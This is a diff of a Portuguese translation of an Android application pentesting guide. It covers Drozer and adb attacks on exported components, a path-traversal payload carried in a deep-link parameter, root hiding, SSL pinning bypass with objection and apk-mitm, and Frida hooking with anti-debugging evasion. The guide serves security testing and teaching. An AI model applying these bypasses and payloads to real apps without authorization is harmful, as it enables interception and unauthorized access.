> Primeiro de tudo, você precisa de um ambiente onde possa instalar a aplicação e todo o ambiente (Burp CA cert, Drozer and Frida principalmente). Portanto, um dispositivo com root (emulado ou não) é altamente recomendado.
|
||||
|
||||
### Online Dynamic analysis
|
||||
### Análise dinâmica online
|
||||
|
||||
Você pode criar uma **free account** em: [https://appetize.io/](https://appetize.io). Esta plataforma permite que você **upload** e **execute** APKs, então é útil para ver como um apk está se comportando.
|
||||
Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io). Esta plataforma permite **upload** e **execução** de APKs, sendo útil para ver como um apk está se comportando.
|
||||
|
||||
Você pode até **ver os logs da sua aplicação** na web e conectar-se através de **adb**.
|
||||
Você pode até **ver os logs da sua aplicação** na web e conectar através de **adb**.
|
||||
|
||||
.png>)
|
||||
|
||||
Graças à conexão ADB você pode usar **Drozer** e **Frida** dentro dos emuladores.
|
||||
|
||||
### Local Dynamic Analysis
|
||||
### Análise Dinâmica Local
|
||||
|
||||
#### Using an emulator
|
||||
#### Usando um emulador
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Você pode criar dispositivos **x86** e **arm**, e de acordo com [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** sem precisar de um emulador arm lento).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Você pode criar dispositivos **x86** e **arm**, e de acordo com [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**as últimas versões x86** **suportam ARM libraries** sem precisar de um emulador ARM lento).
|
||||
- Aprenda a configurá-lo nesta página:
|
||||
|
||||
|
||||
@ -260,21 +265,21 @@ Graças à conexão ADB você pode usar **Drozer** e **Frida** dentro dos emulad
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, você precisa criar uma conta. _É recomendado **download** a versão **WITH** _**VirtualBox** para evitar potenciais erros._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(versão gratuita:** Personal Edition, é necessário criar uma conta. _É recomendado **baixar** a versão **COM**_ _**VirtualBox** para evitar possíveis erros._)
|
||||
- [**Nox**](https://es.bignox.com) (Gratuito, mas não suporta Frida ou Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> Ao criar um novo emulador em qualquer plataforma, lembre-se de que quanto maior a tela, mais lento o emulador irá rodar. Portanto, selecione telas pequenas se possível.
|
||||
> Ao criar um novo emulador em qualquer plataforma lembre-se de que quanto maior a tela, mais lento o emulador irá rodar. Portanto selecione telas pequenas se possível.
|
||||
|
||||
Para **instalar google services** (como AppStore) no Genymotion você precisa clicar no botão marcado em vermelho na imagem a seguir:
|
||||
Para **instalar os serviços do Google** (como AppStore) no Genymotion você precisa clicar no botão marcado em vermelho na imagem a seguir:
|
||||
|
||||
.png>)
|
||||
|
||||
Também, note que na **configuração da VM Android no Genymotion** você pode selecionar **Bridge Network mode** (isso será útil se você for conectar na Android VM a partir de uma VM diferente com as ferramentas).
|
||||
Além disso, repare que na **configuração da VM Android no Genymotion** você pode selecionar o modo **Bridge Network** (isso será útil se você for conectar na VM Android a partir de uma VM diferente com as ferramentas).
|
||||
|
||||
#### Use a physical device
|
||||
#### Usar um dispositivo físico
|
||||
|
||||
Você precisa ativar as opções de **debugging** e será bom se você puder **root** o dispositivo:
|
||||
Você precisa ativar as opções de **debugging** e será interessante se você puder **rootear** o dispositivo:
|
||||
|
||||
1. **Settings**.
|
||||
2. (FromAndroid 8.0) Select **System**.
|
||||
@ -282,83 +287,85 @@ Você precisa ativar as opções de **debugging** e será bom se você puder **r
|
||||
4. Press **Build number** 7 times.
|
||||
5. Volte e você encontrará as **Developer options**.
|
||||
|
||||
> Uma vez que você tenha instalado a aplicação, a primeira coisa que deve fazer é testá-la e investigar o que ela faz, como funciona e familiarizar-se com ela.\
|
||||
> Sugiro realizar esta análise dinâmica inicial usando MobSF dynamic analysis + pidcat, assim poderemos **learn how the application works** enquanto o MobSF **captures** muitos dados **interessantes** que você poderá revisar posteriormente.
|
||||
> Depois de instalar a aplicação, a primeira coisa que você deve fazer é testá-la, investigar o que ela faz, como funciona e se familiarizar com ela.\
|
||||
> Sugiro **realizar esta análise dinâmica inicial usando MobSF dynamic analysis + pidcat**, assim poderemos **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos dados **interessantes** que você poderá revisar depois.
|
||||
|
||||
Magisk/Zygisk quick notes (recommended on Pixel devices)
|
||||
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
|
||||
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
|
||||
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
|
||||
- For screen mirroring, use scrcpy on the host
|
||||
Magisk/Zygisk quick notes (recomendado em dispositivos Pixel)
|
||||
- Patch boot.img com o app Magisk e flash via fastboot para obter root systemless
|
||||
- Habilite Zygisk + DenyList para ocultar root; considere LSPosed/Shamiko quando for necessário um ocultamento mais forte
|
||||
- Mantenha o boot.img original para recuperar de atualizações OTA; re-patche após cada OTA
|
||||
- Para espelhamento de tela, use scrcpy no host
|
||||
|
||||
### Unintended Data Leakage
|
||||
|
||||
|
||||
### Vazamento de dados não intencional
|
||||
|
||||
**Logging**
|
||||
|
||||
Desenvolvedores devem ter cuidado ao expor **debugging information** publicamente, pois isso pode levar a leaks de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs da aplicação e identificar e proteger informações sensíveis. **Pidcat** é preferida por sua facilidade de uso e legibilidade.
|
||||
Os desenvolvedores devem ter cautela ao expor **informações de debugging** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs da aplicação e identificar/proteger informações sensíveis. **Pidcat** é preferida por sua facilidade de uso e legibilidade.
|
||||
|
||||
> [!WARNING]
|
||||
> Note que a partir de **later newer than Android 4.0**, **applications are only able to access their own logs**. Então aplicações não podem acessar os logs de outras apps.\
|
||||
> De qualquer forma, ainda é recomendado **não logar informação sensível**.
|
||||
> Note que a partir de **versões posteriores ao Android 4.0**, **as aplicações só conseguem acessar seus próprios logs**. Então aplicações não podem acessar os logs de outros apps.\
|
||||
> De qualquer forma, ainda é recomendado **não registrar informações sensíveis**.
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
**Cache da área de transferência (Copy/Paste)**
|
||||
|
||||
A framework baseada em **clipboard** do Android permite a funcionalidade de copiar/colar em apps, mas representa um risco já que **other applications** podem **access** a clipboard, potencialmente expondo dados sensíveis. É crucial **disable copy/paste** em seções sensíveis de uma aplicação, como dados de cartão de crédito, para prevenir leaks de dados.
|
||||
O framework baseado em **clipboard** do Android permite a funcionalidade de copiar/colar em apps, mas representa um risco pois **outras aplicações** podem **acessar** o clipboard, expondo potencialmente dados sensíveis. É crucial **desabilitar funções de copia/cola** para seções sensíveis de um aplicativo, como dados de cartão de crédito, para prevenir vazamentos.
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
Se uma aplicação **crasha** e **salva logs**, esses logs podem auxiliar atacantes, especialmente quando a aplicação não pode ser reverse-engineered. Para mitigar esse risco, evite logar em crashes, e se logs precisarem ser transmitidos pela rede, assegure que sejam enviados via um canal SSL para segurança.
|
||||
Se uma aplicação **crasha** e **salva logs**, esses logs podem auxiliar atacantes, especialmente quando a aplicação não pode ser facilmente revertida. Para mitigar esse risco, evite logar em crashes e, se os logs precisarem ser transmitidos pela rede, garanta que sejam enviados via um canal SSL.
|
||||
|
||||
Como pentester, **tente dar uma olhada nesses logs**.
|
||||
|
||||
**Analytics Data Sent To 3rd Parties**
|
||||
|
||||
Aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **leak sensitive data** devido à implementação inadequada por parte dos desenvolvedores. Para identificar possíveis vazamentos, é aconselhável **interceptar o tráfego da aplicação** e checar por qualquer informação sensível sendo enviada a serviços de terceiros.
|
||||
Aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a implementação incorreta pelos desenvolvedores. Para identificar possíveis vazamentos, é aconselhável **interceptar o tráfego da aplicação** e checar se alguma informação sensível está sendo enviada para serviços de terceiros.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
A maioria das aplicações irá usar **internal SQLite databases** para salvar informações. Durante o pentest, dê uma **olhada** nos **databases** criados, nos nomes de **tables** e **columns** e em todos os **data** salvos porque você pode encontrar **informações sensíveis** (o que constituiria uma vulnerability).\
|
||||
Os databases devem estar localizados em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`
|
||||
A maioria das aplicações irá usar **bancos SQLite internos** para salvar informações. Durante o pentest observe os **bancos de dados** criados, os nomes das **tabelas** e **colunas** e todos os **dados** salvos porque você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\
|
||||
Os bancos de dados devem estar localizados em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Se o database está salvando informação confidencial e está **encrypted** mas você consegue **find** a **password** dentro da aplicação, isso ainda é uma **vulnerability**.
|
||||
Se o banco de dados estiver salvando informação confidencial e for **encrypted** mas você conseguir **encontrar** a **senha** dentro da aplicação, ainda assim é uma **vulnerabilidade**.
|
||||
|
||||
Enumere as tabelas usando `.tables` e enumere as colunas das tabelas com `.schema <table_name>`
|
||||
Enumere as tabelas usando `.tables` e enumere as colunas das tabelas usando `.schema <table_name>`
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
|
||||
Drozer é uma ferramenta útil para **exploit exported activities, exported services and Content Providers** como você aprenderá nas seções seguintes.
|
||||
Drozer é uma ferramenta útil para **explorar activities exportadas, serviços exportados e Content Providers** como você aprenderá nas seções seguintes.
|
||||
|
||||
### Exploiting exported Activities
|
||||
|
||||
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Também lembre-se que o código de uma activity começa no método **`onCreate`**.
|
||||
Lembre-se também que o código de uma activity começa no método **`onCreate`**.
|
||||
|
||||
**Authorisation bypass**
|
||||
|
||||
Quando uma Activity está exportada você pode invocar sua tela a partir de um app externo. Portanto, se uma activity com **informação sensível** estiver **exported** você poderia **bypass** os mecanismos de **authentication** **to access it.**
|
||||
Quando uma Activity está exportada você pode invocar sua tela a partir de um app externo. Portanto, se uma activity com **informação sensível** estiver **exportada** você poderia **contornar** os mecanismos de **autenticação** para acessá-la.
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Você também pode iniciar uma activity exportada a partir do adb:
|
||||
Você também pode iniciar uma activity exportada via adb:
|
||||
|
||||
- PackageName is com.example.demo
|
||||
- Exported ActivityName is com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTE**: MobSF vai detectar como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma activity, mas devido a [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (API versions < 21).
|
||||
**NOTA**: MobSF detectará como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma activity, mas devido a [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (versões de API < 21).
|
||||
|
||||
> [!TIP]
|
||||
> Note que um authorisation bypass nem sempre é uma vulnerabilidade; isso depende de como o bypass funciona e quais informações são expostas.
|
||||
> Observe que um bypass de autorização nem sempre é uma vulnerabilidade; depende de como o bypass funciona e quais informações são expostas.
|
||||
|
||||
**Vazamento de informações sensíveis**
|
||||
|
||||
Activities também podem retornar resultados. Se você conseguir encontrar uma activity exportada e desprotegida que chama o método **`setResult`** e retorna informações sensíveis, há um vazamento de informações sensíveis.
|
||||
**Activities can also return results**. Se você conseguir encontrar uma activity exportada e desprotegida que chame o método **`setResult`** e **retorne informações sensíveis**, há um vazamento de informações sensíveis.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Se o tapjacking não for prevenido, você pode abusar da activity exportada para fazer o usuário executar ações inesperadas. For more info about [**what is Tapjacking follow the link**](#tapjacking).
|
||||
Se o Tapjacking não for prevenido, você pode abusar da activity exportada para fazer o **usuário realizar ações inesperadas**. Para mais informações sobre [**what is Tapjacking follow the link**](#tapjacking).
|
||||
|
||||
### Exploiting Content Providers - Acessando e manipulando informações sensíveis
|
||||
|
||||
@ -372,7 +379,7 @@ Content providers são basicamente usados para **compartilhar dados**. Se um app
|
||||
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
|
||||
Lembre-se que as ações de um Service começam no método `onStartCommand`.
|
||||
|
||||
Um Service é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se uma aplicação está exportando alguns services você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\
|
||||
O Service é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se uma aplicação exporta alguns services você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\
|
||||
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Exploiting Broadcast Receivers**
|
||||
@ -380,13 +387,13 @@ Um Service é basicamente algo que **pode receber dados**, **processá-los** e *
|
||||
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Lembre-se que as ações de um Broadcast Receiver começam no método `onReceive`.
|
||||
|
||||
Um broadcast receiver ficará aguardando um tipo de mensagem. Dependendo de como o receiver trata a mensagem, ele pode ser vulnerável.\
|
||||
Um Broadcast Receiver ficará à espera de um tipo de mensagem. Dependendo de como o receiver trata a mensagem, ele pode ser vulnerável.\
|
||||
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Exploiting Schemes / Deep links**
|
||||
|
||||
Você pode procurar por deep links manualmente, usando ferramentas como MobSF ou scripts como [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Você pode **abrir** um **scheme** declarado usando **adb** ou um **navegador**:
|
||||
Você pode **abrir** um declarado **scheme** usando **adb** ou um **browser**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
@ -399,56 +406,56 @@ _Observe que você pode **omitir o nome do pacote** e o dispositivo móvel chama
|
||||
```
|
||||
**Código executado**
|
||||
|
||||
Para encontrar o **código que será executado no App**, vá para a activity chamada pelo deep link e procure a função **`onNewIntent`**.
|
||||
Para encontrar o **código que será executado no App**, vá para a activity chamada pelo deeplink e procure a função **`onNewIntent`**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
**Informação sensível**
|
||||
|
||||
Sempre que encontrar um deep link verifique se **ele não está recebendo dados sensíveis (como passwords) via parâmetros da URL**, porque qualquer outra aplicação poderia **se passar pelo deep link e roubar esses dados!**
|
||||
Toda vez que encontrar um deep link verifique se **não está recebendo dados sensíveis (como senhas) via URL parameters**, porque qualquer outra aplicação poderia **se passsar pelo deep link e roubar esses dados!**
|
||||
|
||||
**Parâmetros no path**
|
||||
|
||||
Você **também deve verificar se algum deep link está usando um parâmetro dentro do path** da URL, por exemplo: `https://api.example.com/v1/users/{username}`. Nesse caso você pode forçar um path traversal acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Note que se você encontrar os endpoints corretos dentro da aplicação pode ser capaz de causar um **Open Redirect** (se parte do path for usada como nome de domínio), **account takeover** (se você conseguir modificar detalhes de usuários sem CSRF token e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [informações sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Você **deve também verificar se algum deep link está usando um parâmetro dentro do path** da URL como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar um path traversal acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Note que se você encontrar os endpoints corretos dentro da aplicação pode ser possível causar um **Open Redirect** (se parte do path for usada como nome de domínio), **account takeover** (se você puder modificar detalhes de usuários sem CSRF token e o vuln endpoint usar o método correto) e qualquer outra vuln. Mais [info about this here](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Mais exemplos**
|
||||
|
||||
Um [relatório de bug bounty interessante](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_).
|
||||
Um [interesting bug bounty report](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Inspeção da camada de transporte e falhas de verificação
|
||||
### Inspeção da Camada de Transporte e Falhas de Verificação
|
||||
|
||||
- **Certificados nem sempre são inspecionados corretamente** por aplicações Android. É comum que essas aplicações ignorem avisos e aceitem certificados autoassinados ou, em algumas instâncias, revertam para conexões HTTP.
|
||||
- **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando conjuntos de cifras inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques MITM, permitindo que atacantes decifrem os dados.
|
||||
- **Leakage of private information** é um risco quando aplicações se autenticam usando canais seguros mas depois se comunicam por canais não seguros para outras transações. Essa abordagem não protege dados sensíveis, como cookies de sessão ou detalhes de usuários, contra interceptação por entidades maliciosas.
|
||||
- **Certificates are not always inspected properly** por aplicações Android. É comum que essas aplicações ignorem warnings e aceitem certificados self-signed ou, em alguns casos, revertam para conexões HTTP.
|
||||
- **Negotiations during the SSL/TLS handshake are sometimes weak**, empregando cipher suites inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decifrem os dados.
|
||||
- **Leakage of private information** é um risco quando aplicações se autenticam usando canais seguros mas depois comunicam-se por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como session cookies ou detalhes do usuário, contra interceptação por entidades maliciosas.
|
||||
|
||||
#### Certificate Verification
|
||||
#### Verificação de Certificado
|
||||
|
||||
Vamos focar na **verificação do certificado**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não criptografados podem representar riscos significativos. Para passos detalhados sobre verificação de certificados de servidor e correção de vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientação abrangente.
|
||||
Vamos focar na **verificação de certificado**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não criptografados podem apresentar riscos significativos. Para passos detalhados sobre verificação de certificados do servidor e correção de vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientação abrangente.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning é uma medida de segurança onde a aplicação verifica o certificado do servidor contra uma cópia conhecida armazenada dentro da própria aplicação. Esse método é essencial para prevenir ataques MITM. Implementar SSL Pinning é fortemente recomendado para aplicações que lidam com informação sensível.
|
||||
|
||||
#### Traffic Inspection
|
||||
#### Inspeção de Tráfego
|
||||
|
||||
Para inspecionar tráfego HTTP, é necessário **instalar o certificado da ferramenta proxy** (por exemplo, Burp). Sem instalar este certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA customizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta proxy** (por exemplo, Burp). Sem instalar esse certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um CA certificate customizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplicações com target em **API Level 24 and above** requerem modificações no Network Security Config para aceitar o certificado CA do proxy. Esta etapa é crítica para inspecionar tráfego criptografado. Para instruções sobre como modificar o Network Security Config, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Aplicações alvo **API Level 24 and above** exigem modificações no Network Security Config para aceitar o CA certificate do proxy. Esse passo é crítico para inspecionar tráfego criptografado. Para instruções sobre como modificar o Network Security Config, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Se **Flutter** está sendo usado você precisa seguir as instruções em [**esta página**](flutter.md). Isso acontece porque apenas adicionar o certificado ao store não funcionará, já que Flutter tem sua própria lista de CAs válidas.
|
||||
Se **Flutter** estiver sendo usado, você precisa seguir as instruções em [**esta página**](flutter.md). Isso porque somente adicionar o certificado ao store não funcionará já que Flutter tem sua própria lista de CAs válidas.
|
||||
|
||||
#### Static detection of SSL/TLS pinning
|
||||
#### Detecção estática de SSL/TLS pinning
|
||||
|
||||
Antes de tentar bypasses em runtime, mapeie rapidamente onde o pinning é aplicado no APK. A descoberta estática ajuda a planejar hooks/patches e a focar nos caminhos de código corretos.
|
||||
Antes de tentar bypasses em runtime, mapeie rapidamente onde o pinning é imposto no APK. A descoberta estática ajuda a planejar hooks/patches e focar nos caminhos de código corretos.
|
||||
|
||||
Tool: SSLPinDetect
|
||||
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
|
||||
- Reports exact file path, line number, and a code snippet for each match.
|
||||
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
|
||||
- Open-source static-analysis utility que decompila o APK para Smali (via apktool) e escaneia por padrões regex curados de implementações de SSL/TLS pinning.
|
||||
- Reporta o caminho exato do arquivo, número da linha e um snippet de código para cada match.
|
||||
- Cobre frameworks comuns e caminhos de código customizados: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init com custom TrustManagers/KeyManagers, e Network Security Config XML pins.
|
||||
|
||||
Install
|
||||
- Pré-requisitos: Python >= 3.8, Java on PATH, apktool
|
||||
- Prereqs: Python >= 3.8, Java on PATH, apktool
|
||||
```bash
|
||||
git clone https://github.com/aancw/SSLPinDetect
|
||||
cd SSLPinDetect
|
||||
@ -462,8 +469,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
|
||||
# Verbose (timings + per-match path:line + snippet)
|
||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
```
|
||||
Exemplo de regras de padrão (JSON)
|
||||
Use ou estenda signatures para detectar estilos de pinning proprietários/custom. Você pode carregar seu próprio JSON e scan em grande escala.
|
||||
Exemplo de regras de padrões (JSON)
|
||||
Use ou estenda signatures para detectar estilos proprietários/personalizados de pinning. Você pode carregar seu próprio JSON e escanear em larga escala.
|
||||
```json
|
||||
{
|
||||
"OkHttp Certificate Pinning": [
|
||||
@ -477,55 +484,55 @@ Use ou estenda signatures para detectar estilos de pinning proprietários/custom
|
||||
]
|
||||
}
|
||||
```
|
||||
Notes and tips
|
||||
- Escaneamento rápido em apps grandes via multi-threading e memory-mapped I/O; regex pré-compilado reduz overhead/falsos positivos.
|
||||
- Coleção de padrões: https://github.com/aancw/smali-sslpin-patterns
|
||||
- Alvos de detecção típicos para triagem a seguir:
|
||||
- OkHttp: uso de CertificatePinner, setCertificatePinner, referências ao pacote okhttp3/okhttp
|
||||
- TrustManagers personalizados: javax.net.ssl.X509TrustManager, sobrescritas de checkServerTrusted
|
||||
- Contextos SSL personalizados: SSLContext.getInstance + SSLContext.init com gerenciadores personalizados
|
||||
Notas e dicas
|
||||
- Fast scanning on large apps via multi-threading and memory-mapped I/O; pre-compiled regex reduces overhead/false positives.
|
||||
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
|
||||
- Alvos típicos de detecção para triagem a seguir:
|
||||
- OkHttp: uso de CertificatePinner, setCertificatePinner, referências aos pacotes okhttp3/okhttp
|
||||
- TrustManagers personalizados: javax.net.ssl.X509TrustManager, overrides de checkServerTrusted
|
||||
- Contextos SSL personalizados: SSLContext.getInstance + SSLContext.init com managers personalizados
|
||||
- Pins declarativos em res/xml network security config e referências no manifest
|
||||
- Use os locais correspondentes para planejar Frida hooks, patches estáticos ou revisões de configuração antes dos testes dinâmicos.
|
||||
- Use os locais correspondentes para planejar Frida hooks, patches estáticos, ou revisões de configuração antes do teste dinâmico.
|
||||
|
||||
|
||||
|
||||
#### Bypassando SSL Pinning
|
||||
#### Contornando SSL Pinning
|
||||
|
||||
Quando SSL Pinning está implementado, contorná-lo torna-se necessário para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse propósito:
|
||||
When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS traffic. Various methods are available for this purpose:
|
||||
|
||||
- Modify automaticamente o **apk** para contornar SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem dessa opção é que você não precisará de root para contornar o SSL Pinning, mas será necessário deletar o aplicativo e reinstalar o novo, e isso nem sempre funciona.
|
||||
- Você pode usar **Frida** (discutido abaixo) para contornar essa proteção. Aqui há um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Você também pode tentar **contornar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Você também pode tentar **contornar automaticamente o SSL Pinning** usando **MobSF dynamic analysis** (explicado abaixo)
|
||||
- Se você ainda achar que há tráfego que não está capturando, pode tentar **encaminhar o tráfego para burp usando iptables**. Leia este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
|
||||
- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
|
||||
- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Procurando por Vulnerabilidades Web Comuns
|
||||
#### Procurando Vulnerabilidades Web Comuns
|
||||
|
||||
Também é importante procurar por vulnerabilidades web comuns dentro do aplicativo. Informações detalhadas sobre identificação e mitigação dessas vulnerabilidades estão além do escopo deste resumo, mas são amplamente abordadas em outros lugares.
|
||||
It's important to also search for common web vulnerabilities within the application. Detailed information on identifying and mitigating these vulnerabilities is beyond the scope of this summary but is extensively covered elsewhere.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) é um toolkit de instrumentação dinâmica para desenvolvedores, reverse-engineers e pesquisadores de segurança.\
|
||||
**Você pode acessar a aplicação em execução e hookar métodos em tempo de execução para mudar o comportamento, alterar valores, extrair valores, executar código diferente...**\
|
||||
Se você quer fazer pentest em aplicações Android, precisa saber como usar Frida.
|
||||
[Frida](https://www.frida.re) é um toolkit de instrumentação dinâmica para desenvolvedores, analistas de engenharia reversa e pesquisadores de segurança.\
|
||||
**Você pode acessar a aplicação em execução e hookar métodos em tempo de execução para alterar o comportamento, mudar valores, extrair valores, executar código diferente...**\
|
||||
Se você quiser fazer pentesting em aplicações Android, precisa saber usar o Frida.
|
||||
|
||||
- Aprenda a usar Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Algumas "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection é ótima para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Você pode encontrar alguns scripts Awesome para Frida aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Tente contornar mecanismos anti-debugging / anti-frida carregando o Frida conforme indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (ferramenta [linjector](https://github.com/erfur/linjector-rs))
|
||||
